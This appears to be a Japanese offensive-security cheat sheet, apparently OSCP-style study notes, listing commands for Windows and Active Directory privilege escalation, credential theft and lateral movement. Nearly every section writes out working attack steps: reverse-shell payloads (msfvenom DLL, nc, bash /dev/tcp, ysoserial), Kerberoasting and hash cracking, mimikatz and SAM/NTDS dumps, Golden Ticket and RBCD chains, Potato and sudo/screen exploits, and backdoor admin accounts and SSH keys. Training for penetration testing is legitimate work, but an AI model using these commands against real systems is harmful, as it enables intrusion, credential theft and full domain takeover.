exeの入手先
https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public?source=post_page-----b95d3146cfe9---------------------------------------

上記を実行後、C:\Windows\System32\wbemにdllを書き込み

書き込むdll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f dll -o tzres.dll
※tzres.dllはsysteminfo.exeがロードするDLL名

systeminfo実行

RunAs

コマンド
スクリプトの入手先
https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1?source=post_page-----b95d3146cfe9---------------------------------------

他のユーザーとしてコマンドを実行
. .\Invoke-RunasCs.ps1 or Import-Module .\Invoke-RunasCs.ps1
Invoke-RunasCs -Username [ユーザ名] -Password [パスワード] -Command "[コマンド]"

LAPS

MicrosoftのLocal Administrator Password Solutionはパスワード管理機能
C:\Program Files配下

コマンド
ldapsearch -x -H ldap://192.168.140.122 -D '[ユーザ名]@[ドメイン]' -w '[パスワード]' -b 'dc=[ドメイン]' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

PrivescCheck

コマンド
wget https://github.com/itm4n/PrivescCheck/releases/latest/download/PrivescCheck.ps1
powershell -ep bypass -c ". .PrivescCheck.ps1; Invoke-PrivescCheck"

RBCD攻撃(リソースベースの制約付き委任)

コマンド
攻撃の流れと解説
①偽のコンピューターアカウントを作成(SeMachineAccountPrivilege権限必要)
impacket-addcomputer [ドメイン]/[ユーザ名] -dc-ip [IP] -hashes :[NTLMHASH] -computer-name '[任意]$' -computer-pass '[任意]'

②RBCDの設定
https://github.com/tothi/rbcd-attack/blob/master/rbcd.py?source=post_page-----b3a50d40664b---------------------------------------
python3 rbcd.py -dc-ip [IP] -t [対象ホスト名] -f [作成した偽マシン$] -hashes 00000000000000000000000000000000:[NTLMHASH] [ドメイン]\\[ユーザ名]  

③Administratorのサービスチケットを取得
impacket-getST -spn cifs/[対象ホスト名].[ドメイン] [ドメイン]/[作成した偽マシン$]:'[パスワード]' -impersonate administrator -dc-ip [IP]

④Kerberos チケットを環境変数に設定
export KRB5CCNAME=$(pwd)/administrator@~.ccache

⑤チケットでのアクセス
sudo impacket-psexec -k -no-pass [対象ホスト名].[ドメイン] -dc-ip [IP]

No quotes and Space detected

コマンド
サービス情報の取得
Get-WmiObject -Class Win32_Service | Select-Object Name, PathName, State
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Get-CimInstance -ClassName win32_service | Select Name,StartName,State,PathName | Where-Object {$_.State -like 'Running'}

バイナリのアクセス権確認
icacls "C:\Program Files\XXX.exe"

F (Full access):ファイルやフォルダの読み取り、書き込み、実行、および変更が可能。
M (Modify access): ファイルやフォルダの読み取り、書き込み、実行、およびその内容の変更が可能、完全削除不可。
RX (Read and execute access):ファイルやフォルダの読み取りおよび実行が可能、内容の変更や新たな書き込みは不可。
R (Read-only access):ファイルやフォルダの読み取りのみが可能で、内容の変更や実行は不可。
W (Write-only access):ファイルやフォルダへの書き込みのみが可能で、既存の内容を読み取ることは不可。

既存のバイナリ置き換えの例
move "C:\Program Files\もともとのファイル" "C:\Program Files\もともとのファイル.old"

サービスの再起動
net stop サービス名
net start サービス名

レジストリ

コマンド
レジストリ(バックアップではsystem32\config配下)
reg save HKLM\sam sam
reg save HKLM\SYSTEM system

impacket-secretsdump -sam sam -system system LOCAL

PowerUp

コマンド
. .\PowerUp.ps1
Get-ModifiableServiceFile
Get-UnquotedService
Invoke-AllChecks

PowerView

コマンド

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Import-Module .\PowerView.ps1
menu
Get-NetDomain
Get-NetUser
Get-DomainUser 
Get-DomainUser | select cn
Get-NetGroup | select name
Get-NetGroupMember -MemberName "domain admins" -Recurse | select MemberName
Get-NetUser -SPN #Kerberoastableなユーザ
Get-NetUser -SPN | select serviceprincipalname #Kerberoastableなユーザ
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Find-LocalAdminAccess

パスワード変更
Set-DomainUserPassword -Identity '[ユーザ名]' -AccountPassword $UserPassword -Credential $Cred

うまくいかない場合
Set-ADAccountPassword -Identity "[ユーザ名]" -NewPassword (ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force)

gMSAによるパスワード窃取(AD環境)

コマンド
※サービスアカウント等が対象
.\GMSAPasswordReader.exe --accountname '[ユーザ名、$なし]'
https://github.com/expl0itabl3/Toolies

AS-REP Roasting

コマンド
ターゲットで実行
.\Rubeus.exe asreproast /nowrap

kaliから実行
impacket-GetNPUsers -dc-ip [IP]  -request -outputfile [ファイル名] [ドメイン]/[ユーザ]
※上記のコマンドでdatetimeのようなエラーが出る場合
/etc/ntpsec/ntp.confに以下を末尾に追加
server [同期先のIP] iburst

追記後サービス再起動
sudo systemctl restart ntp

上記のいずれかの出力$krb~の値をファイルに保存し以下を実行
sudo hashcat -m 18200 [対象ファイル] /usr/share/wordlists/rockyou.txt

nxcによる確認
nxc ldap [IP]  -u [ユーザ名] -p '[パスワード]'  --asreproast output.txt

Kerberoasting

コマンド
ターゲットで実行
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

kaliから実行
sudo impacket-GetUserSPNs -request -dc-ip [IP] [ドメイン]/[ユーザ]

上記のいずれかの出力$krb~の値をファイルに保存し以下を実行
sudo hashcat -m 13100 [対象ファイル] /usr/share/wordlists/rockyou.txt

nxcによる確認
nxc ldap [IP] -u [ユーザ名] -p '[パスワード]' --kerberoasting output.txt

GenericWriteを確認したら
python3 targetedKerberoast.py -v -d '[ドメイン名]' -u '[ユーザ名]' -p '[パスワード]' --dc-ip [IP]

Get-SPN.ps1(Kerberoasting)

コマンド
Get-SPN.ps1の取得先
https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1?source=post_page-----b95d3146cfe9---------------------------------------

powershell -ExecutionPolicy bypass
.\Get-SPN.ps1

上記で確認できたアカウントに対してKerberosチケットの要求トークンを作成
Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList '[ユーザ名]/[DCホスト名]'

hashの抽出
1. Invoke-Kerberoastの利用
.\Invoke-Kerberoast.ps1
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1?source=post_page-----b95d3146cfe9---------------------------------------

2.Rubeusの利用
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

3.hash解析
hashcat -m 13100 [ハッシュ値のファイル] rockyou.txt --force

Golden Ticket

コマンド
impacket-ticketer -aesKey [krbtgt:aes256-cts-hmac-sha1-96の値] \
-domain-sid [PowerView:Get-DomainSID -domain ドメイン名の値] \
-domain [ドメイン] \
-extra-sid [PowerView:Get-DomainTrustのSID] \
 administrator -extra-pac

※extra-sidについて
PowerView以外での取得方法
impacket-lookupsid -domain-sids [ドメイン]/[ユーザ]:[パスワード]@[IP]
またはenum4linuxでも取得可能
また、SID移行-XXXはグループIDなので500等の指定でも可

/etc/hostsの編集
対象ドメインのレコードを記載

kaliにて
$ export KRB5CCNAME=administrator.ccache

impacket-psexec '[ドメイン名]/administrator@[ホスト名]' -k -no-pass

BloodHound

コマンド
kaliの元々のSharpHound.exeはBloodHoundと互換性がない(?)ようで、ZIPファイルをBloodHoundにアップロードできませんでした。
その為、外部で公開されているSharpHoundをダウンロードして使用する。

BloodHound初期化作業
MATCH (n) DETACH DELETE n・・・データベースのクリア(RAW Query内)

bloodhound.pyの使用(リモートから実施)
sudo bloodhound-python -d [ドメイン] -u [ユーザ名] -p '[パスワード]' -c all -ns [DCのIP] --zip
出力された7つのjsonをまとめる
zip test.zip *.json  

sharphound.exe
.\Sharphound.exe --CollectionMethods All --Domain [ドメイン] --ExcludeDCs --OutputPrefix "[文字列]"

※別のユーザを指定して実行する方法
 ./SharpHound.exe -c All -DomainController [DCのIP] --domain [ドメイン] --ldapusername [ユーザ名] --ldappassword [パスワード]

sharphound.ps1
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

bloodhound・・・Bloodhoundの起動
Invoke-BloodHound -CollectionMethod All -OutputDirectory 

その他コマンド
MATCH (m:Computer) RETURN m
MATCH (m:Users) RETURN m

Docker環境のBloodhound起動
docker ps -a
docker start bloodhound-app-db-1
docker start bloodhound-graph-db-1
docker start bloodhound-bloodhound-1

ADCSの脆弱性列挙

コマンド
certipy-ad find -u "[ユーザ名]" -p '[パスワード]' -dc-ip [IP] -stdout -vulnerable
※この出力にCAの名前やテンプレート名が含まれている。

Administratorの証明書取得
certipy-ad req -username "[ユーザ名]" -p "[パスワード]" -template [テンプレート名] -dc-ip [IP] -ca [CA名] -upn 'Administrator@ドメイン' 

TGT取得/NTLMハッシュ取得
certipy-ad auth -pfx [証明書] -domain [ドメイン] -username administrator -dc-ip [IP]

LDAPシェル
certipy-ad auth -pfx [証明書] -dc-ip [IP] -ldap-shell
add_user eviluser
add_user_to_group eviluser "Domain Admins"

SharpGPOAbuse

コマンド
0.前提
GPOの管理者権限があること
※PowerViewのGet-NetGPOでポリシー名を確認

1.ソースコードのダウンロード
https://github.com/FSecureLABS/SharpGPOAbuse

2.ビルド
VisualStudioで「ビルド」ー「ソリューションのビルド」
※CommandLine.dllが同じディレクトリ上に必要になる為、.NET Frameworkをあわせてビルドする。
ソリューションエクスプローラ内「プロジェクト」(2行目)を右クリック、「プロパティ」-「アプリケーション」より変更

3.CommandLine.dllのダウンロード
.\nuget.exe install CommandLineParser -Version 2.9.1 -OutputDirectory .\packages

4.GPO設定(NCでリバースシェル取得の例)
>.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "Administrator" --Command "cmd.exe" --Arguments "/c c:\temp\nc.exe [IP] [ポート] -e cmd.exe" --GPOName "Default Domain Policy" --Force

impacket-GetUserSPN

コマンド
sudo impacket-GetUserSPNs -request -dc-ip [DC-IP] [ドメイン]/[ユーザ名]
※ユーザのパスワードが必要

出力されたHASHをそのまま保存
$krb5tgs$23$*~

sudo hashcat -m 13100 [保存したファイル] /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

PrintSpoofer

コマンド
PrintSpoofer.exe -i -c powershell.exe 
PrintSpoofer.exe -c "nc.exe <lhost> <lport> -e cmd

内部探索

コマンド
補足:ルーティングテーブル確認
ip route show
sudo ip route del 172.17.0.0/16

ligoloインターフェースの作成・ルーティング追加
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 10.10.182.0/24 dev ligolo

エージェント起動(ターゲット上)
./agent.exe -connect [IP]:11601 -ignore-cert

サーバ起動
sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601

リスナー追加
listener_add --addr 0.0.0.0:80 --to 127.0.0.1:80 --tcp

NTDS

SeBackupPrivilegeの権限がある場合のNTDS.DITの取得方法

コマンド
-----script.txt-----
set verbose onX
set metadata C:\\Windows\\Temp\\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
-----script.txt-----

diskshadow /s script.txt
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\Users\jackie\ntds.dit.bak
robocopy /b E:\Windows\ntds . ntds.dit

※systemも取得して実行
impacket-secretsdump -ntds ntds.dit -system system LOCAL

Potato

コマンド
SigmaPotato
.\SigmaPotato.exe "nc64.exe 192.168.45.233 4444 -e cmd.exe"

GodPotato
.\GodPotato.exe -cmd "C:\temp\nc.exe xx.xx.xx.xx -e cmd"
https://github.com/BeichenDream/GodPotato/releases?source=post_page-----400b88403a71---------------------------------------

 .\SigmaPotato "net user testuser Password123! /add"

ユーザ作成&グループ追加
.\SigmaPotato "net user testuser Password123! /add"
.\SigmaPotato "net localgroup Administrators testuser /add"

JuicyPotato
32bitアーキテクチャの場合
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
https://github.com/ivanitlearning/Juicy-Potato-x86/releases/tag/1.2

コマンド例
 .\Juicy.Potato.x86.exe -t * -p rev.exe -l 1338 -c {69AD4AEE-51BE-439b-A92C-86AE490E8B30}
https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise/

SeRestorePrivilege

コマンド
utilman.exeの悪用例
get-childitem -path C:\\Windows\\System32\\ -include utilman.exe -file -recurse -erroraction silentlycontinue

mv C:\\Windows\\System32\\Utilman.exe C:\\Windows\\System32\\Utilman.old
mv C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Utilman.exe


mv C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Utilman.exe
mv C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Utilman.exe

rdesktop [IP]

ログインの画面でwin+Uしコマンドプロンプト起動

その他:SeRestoreAbuse.exe

mimikatz

コマンド
powershell -ep bypass・・・mimikatz実行前
privilege::debug
token::elevate
sekurlsa::msv
lsadump::sam
sekurlsa::logonpasswords

※表示がおかしくなる時の対応:ワンライナー
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

サービスの確認(DLLハイジャック等)

コマンド
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}・・・サービスの確認コマンド
Restart-Service "[サービス名]"・・・サービス再起動
sc create [サービス名] binPath="[exeのパス]" start=auto・・・サービス作成

Powershell実行履歴

コマンド
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

PowerView

コマンド
. ./PowerView.ps1
Get-NetUser | select cn

PuTTYから認証情報を取得する

コマンド
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

exploit

CVE-2022-0847

Link
CVE-2022-0847-DirtyPipe-エクスプロイト
https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

CVE-2025-32463

コマンド
sudo versions 1.9.14~1.9.17
https://github.com/KaiHT-Ladiant/CVE-2025-32463/tree/main

Mobile Mouse 9099/tcp open unknown

コマンド
python3 51010.py --target [IP] --file [ファイル] --lhost [自身のIP]
※8080でWebサーバの立ち上げが必要
※うまくいかない場合は以下
https://github.com/KryoCeph/Mobile-Mouse-3.6.0.4-Exploit/blob/main/1-MMUpload.py

vesta 8083/tcp open us-srv

コマンド
https://ssd-disclosure.com/ssd-advisory-vestacp-multiple-vulnerabilities/
上記のサイトからvestaATO.py、VestaFuncs.py、vestaROOT.pyをコピー
python3 vestaROOT.py https://[IP]:8083 [ユーザ名] [パスワード]

MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library

コマンド
1.前準備
gcc -g -c raptor_udf2.c -fPIC -o raptor_udf2.o
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

2.SQL操作
USE mysql;
CREATE TABLE foo(line LONGBLOB);
INSERT INTO foo VALUES (LOAD_FILE('/tmp/raptor_udf2.so'));
SELECT * FROM foo INTO dumpfile '/usr/lib/mysql/plugin/udf_file_name.so';
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
SELECT do_system('id');

※dumpfileがうまくいかないとき
mysql> \! cp /tmp/raptor_udf2.so /usr/lib/mysql/plugin/

参考サイト
https://www.exploit-db.com/exploits/1518
https://github.com/ankh2054/MySQL-UDF/blob/master/raptor_udf2.c
https://steflan-security.com/linux-privilege-escalation-exploiting-user-defined-functions/

CVE-2015-5602 (Sudo version 1.8.14以下)

コマンド
ln -s /etc/sudoers /home/test/any/file
sudoedit /home/test/any/file

以下を末尾に追加
samantha ALL=(ALL) NOPASSWD: ALL

CVE-2017-5618 setuid screen v4.5.0 LPE

コマンド
kaliで実行
sudo git clone https://github.com/YasserREED/screen-v4.5.0-priv-escalate.git
cd screen-v4.5.0-priv-escalate
sudo chmod +x exploit.sh
./exploit.sh

targetで実行
cd /tmp
wget [kaliのIP]/libhax.so
wget [kaliのIP]/rootshell
chmod +x libhax.so
chmod +x rootshell

cd /etc || exit 1
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell

CVE-2024-51757(happy-dom)

コマンド
リモートで実行
echo "chmod 4777 /bin/bash" > /tmp/pwn
chmod +x /tmp/pwn
echo "<script src=\"https://192.168.45.178:80/'+require('child_process').execSync('/tmp/pwn')+'\"></script>" > /tmp/pwn.html
リモート側でhappy-domを含むコードを実行
※kali側はHTTPサーバ起動のみ

jdwp

コマンド
python2 jdwp-shellifier.py -t [RHOST] -p [RPORT] --cmd 'busybox nc [IP] [PORT] -e bash'
https://github.com/IOActive/jdwp-shellifier

jdb -attach [IP]:[PORT]・・・接続コマンド

その他

Windows関連

コマンド
certutil -urlcache -split -f http://[IP]/[ファイル名] C:\Users\

"d08c9ddf0115d1118c7a00c04fc297eb"(DPAPIによる暗号化)を含む文字列の複合

コマンド
※暗号化したマシンでしか複合できない
$pw = Get-Content [文字列を含むファイル] | ConvertTo-SecureString
$bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($pw)
$UnsecurePassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)
$UnsecurePassword

PowerShell操作系

コマンド
powershell -c Invoke-WebRequest -Uri [URL] -OutFile [ファイル名]
iwr -uri http://[IP]/[ファイル名] -OutFile [出力先パスファイル名]
Get-ChildItem -Path . -Filter *.txt | ForEach-Object { Get-Content $_.FullName }・・・ディレクトリ内のテキストファイルの内容一括表示
powershell -ep bypass
Set-ExecutionPolicy Unrestricted
(Get-WmiObject Win32_ComputerSystem).PartOfDomain・・・ドメイン参加かどうか
(Get-WmiObject Win32_ComputerSystem).Domain・・・ドメイン名
sc.exe start [サービス名]・・・Powershellによるサービス起動
certutil -urlcache -split -f http://192.168.45.184/SigmaPotato.exe C:\Users\chris\SigmaPotato.exe

Linux関連

コマンド
cat /etc/passwd | grep bash・・・bashのあるユーザを確認
tcpdump -ni [インタフェース名] [プロトコル]
bash -i >& /dev/tcp/[IPアドレス]/[ポート] 0>&1
busybox nc [IP] [ポート] -e bash
open .・・・ターミナルのカレントディレクトリでエクスプローラ起動

mlocate

コマンド
※グループ:119(mlocate)
cp /var/lib/mlocate/mlocate.db ./

ファイルのハッシュ値/形式

コマンド
file
sha256sum ファイル名
md5sum ファイル名

certutil -hashfile ファイル名 SHA256・・・Windows

mysql

コマンド
mysql -u [ユーザ名] -p
※パスワードは上記コマンド実行後に入力

show databases;
use [DB名];
show tables;

FTP

コマンド
ftp> passive off
ftp> open <IP> <port>
ftp> get <file>
※ftpはcdで移動できる場合がある

※ファイルの一括取得
mask ""
recurse ON
prompt OFF
mget *

※passiveモード
passive

※バイナリモード
bin(通常ASCIIモードだが、これはテキスト専用、エラーが出る)

匿名アクセスはftpの場合もある

ln

コマンド
シンボリックリンク作成
ln -sf [実際のファイル、リンク先] [リンク名]

SCP

コマンド
※リモートからファイルを取得
scp [リモートユーザ]@[リモートIP]:[コピー元、リモートホストのファイルパス] [ローカルのコピー先パス]

※ローカルのファイルを送信
scp [送りたいローカルファイル] [リモートユーザ]@[リモートIP]:[リモートパス]

※Windowsの例
scp [ユーザ名]@[IP]:C:/~ ./

echoで簡易的なスクリプト作成(複数行)

コマンド
echo -e '#!/bin/bash\n\n[1行目のコード]\n[2行目のコード]' > [ファイル名]

pngファイル作成

コマンド
convert -size 800x600 xc:black [ファイル名]

exeファイルに対して

コマンド
strings [exeファイル]

Java

Javaの安全ではないデシリアライゼーション

コマンド
java -jar ysoserial-all.jar CommonsCollections4 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc [IP] [PORT] >/tmp/f" > 対象のファイル

Java16以降
echo 'sh -i >& /dev/tcp/192.168.45.155/445 0>&1' |base64

java \
  --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
  --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
  --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
  -jar ./ysoserial-all.jar CommonsCollections4 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4xNTUvNDQ1IDA+JjEK}|{base64,-d}|{bash,-i}" > [対象ファイル]

Python

ファイル授受関係

コマンド
python -m http.server 8000
python3 -m uploadserver・・・ファイルのアップロードは/uploadに行う。
python3 -c "import requests;requests.post(\"[URL]/upload\",files={\"files\":open(\"[ファイルパス]",\"rb\")})"
curl -X POST [URL]/upload -H -F 'files=@[ファイル名]'

シェルのアップグレード

コマンド
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL +Z
stty raw -echo;fg
reset

※sh-4.2$
script /dev/null -c bash 
export TERM=xterm 
Ctrl + z 
stty raw -echo ; fg

仮想環境操作関係

コマンド
python3 -m venv myenv
source ~/mypy/bin/activate
pip3 install openai
deactivate

リバースシェル

python
#!/usr/bin/env python
import os
import sys

os.system('/bin/nc [IP] [PORT] -e /bin/sh')

ncで出力のやり取り

コマンド
nc -l [ポート] | tee [出力ファイル]・・・データ待ち受け側
[実行したいコマンド] | nc [IPアドレス] [ポート]・・・データ出力側

自身がコンテナにいるか確認する方法

コマンド
cat /proc/1/cgroup

※ルートディレクトリに.dockerenvがあればコンテナ環境上にいる。
抜けるときはCtrl+p-Ctrl+q

find系

Windows

コマンド
dir /s /b [ファイル名検索キーワード、例:*.config]
※ファイル名の探索
findstr /SIM /C:"[検索したいキーワード]" *.ini *.cfg * .config *.xml *.txt
※カレントディレクトリ配下の検索、ファイルに含まれる文字列の検索

Get-ChildItem -Path C:\ -Include [キーワード] -File -Recurse -ErrorAction SilentlyContinue

where /r c:\ [ファイル名]
dir 探したいファイル・フォルダ名 /s /p
dir /aで隠しファイル含め表示
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

レジストリ探索
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername
reg query HKLM /f "[キーワード]" /t REG_SZ /s
※キーワードを含むレジストリの探索、REG_SZは文字列を対象

Linux

コマンド
locate *.txt
find / -name *.txt 2>/dev/null
grep -rn "キーワード"
grep "<\!--"
grep -rl "キーワード" .・・・「.」は始点、ファイルの中身の探索
sudo ifconfig tun0 mtu 1250
grep -Hn "[キーワード]" *
※カレントディレクトリ配下のファイルの中身を対象にキーワード検索
grep --color=always -r -i "pass".

curl

コマンド
curl http://[IP]/shell.sh | bash・・・即実行
curl -OL ファイルのURL
O:ファイル出力
L:リダイレクトを追跡

curl [IP]/[ファイル名] -o [出力先パス&ファイル名]

HTTP0.9対応
curl --http0.9 [IP:PORT] --output -

キャッシュ使用しない
curl -v -H 'Cache-Control: no-cache' [URL]

script

コマンド
script -a -f [ファイルパス]
※exitで終了

runas

コマンド
runas /user:[ユーザ名] cmd

SSHの接続作成

コマンド
※kaliにて
ssh-keygen
cat id_rsa.pub
※上記の結果をコピー

※ターゲットマシンで
mkdir /home/ユーザ名/.ssh
echo "ssh-rsa AAAAB3Nz ---SNIP--- +EC1Hg/Cm/V6CRrHM= kali@kali" > /home/ユーザ名/.ssh/authorized_keys

※kaliで
ssh -i id_rsa ユーザ名@ターゲットマシンのIP

※必要に応じて
chmod -R 600 .ssh/

エラー対応等
Received disconnect from 127.0.0.1 port 22:2: Too many authentication failures
Disconnected from 127.0.0.1 port 22

上記のエラー発生時
ssh-add -D

Python仮想環境

コマンド
python3 -m venv myenv
source myenv/bin/activate
deactivate
pip install -r requirements.txt
※作り直すとき
rm -rf ~/mypy

jarファイル

コマンド
jd-gui

base64

コマンド
echo -n “encoded text” | base64 -d

echo "{md5}"/bin/echo -n "testpass" | openssl dgst -binary -md5 | openssl enc -base64
例:{md5}X03MO1qnZdYdgyfeuILPmQ==

sed

コマンド
[xxx]:xxxの抽出コマンド例
sed -n 's/\[\([^]]\)\].*/\1/p'

AWK

コマンド
awk -F'[][]' '{print $[フィールド番号]}' [ファイル名]
※$1[$2]$3[$4]$5みたいな文字列を対象

awk -F'[セパレータ文字]' '{print $[フィールド番号]}'

KaliからのRDP接続

コマンド
xfreerdp /u:[USERNAME] /p:[PASSWORD] /f +fonts +clipboard  /v:[IP]
- /tls-seclevel:0 /timeout:80000(TLS系のエラーが出た時)
- /size:640x480(画面のサイズ)

xfreerdp /u:[USERNAME] /v:[IP] /pth:[ハッシュ値] /cert:ignore /sec:ntlm・・・ハッシュ値でアクセス

xfreerdp /u:[ユーザ名] /v:[IP] /d:[ドメイン名] /drive:home,/home/kali/oscp・・・kaliのフォルダを共有設定

IMAP接続

コマンド
a login [ユーザ名] [パスワード]
a list "" "*"
a select INBOX
a fetch  body[]

POP接続

コマンド
- USER [ユーザー名]
- PASS [パスワード]
- LIST

zip

コマンド
zip2john target.zip | cut -d ":" -f 2 > target.hash 
hashcat -m 13600 -a 0 target.hash
7z x target.zip
unzip target.zip
https://www.iestudy.work/entry/2020/11/20/215526

tar

コマンド
tar -xzvf XX.tar.gz

keepass

コマンド
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
keepass2john Database.kdbx > keepass.hash
keepass.hashの先頭「database」を消す
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt 

kaliに含まれるスクリプト等

コマンド
1.PHPのリバースシェル
cp /usr/share/webshells/php/php-reverse-shell.php ./

空のMP3作成

コマンド
ffmpeg -f lavfi -i anullsrc=r=44100:cl=stereo -t 5 -q:a 9 -acodec libmp3lame silent.mp3

dockerでmake

コマンド
GLIBCの確認
ldd --version
lsb_release -a

docker起動
docker pull ubuntu:20.04
docker run -it -v /home/kali/oscp/pg/codo:/home/ ubuntu:20.04 /bin/bash
docker run -it -v /home/kali/oscp/pg/codo:/home/ ubuntu:20.04 /bin/bash
apt update && apt install -y build-essential

gcc: error trying to exec ‘cc1’

コマンド
リモートホスト上でgcc失敗時に改善する場合あり
gcc root.c -o libmalbec.so -shared -fPIC -w
gcc: error trying to exec ‘cc1’: execvp: No such file or directory
export PATH="/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:."

行き詰ったら、ヒントなど

検索
表示されるエラーメッセージをGoogleで検索する。

Base64文字列の内、「H4sIA」で始まるものはgzip圧縮されたデータである可能性が高い

SSRFではローカルマシンへのアクセスやリモートマシン自身を指定して挙動を見る

オンラインツール

参考サイト

Discussion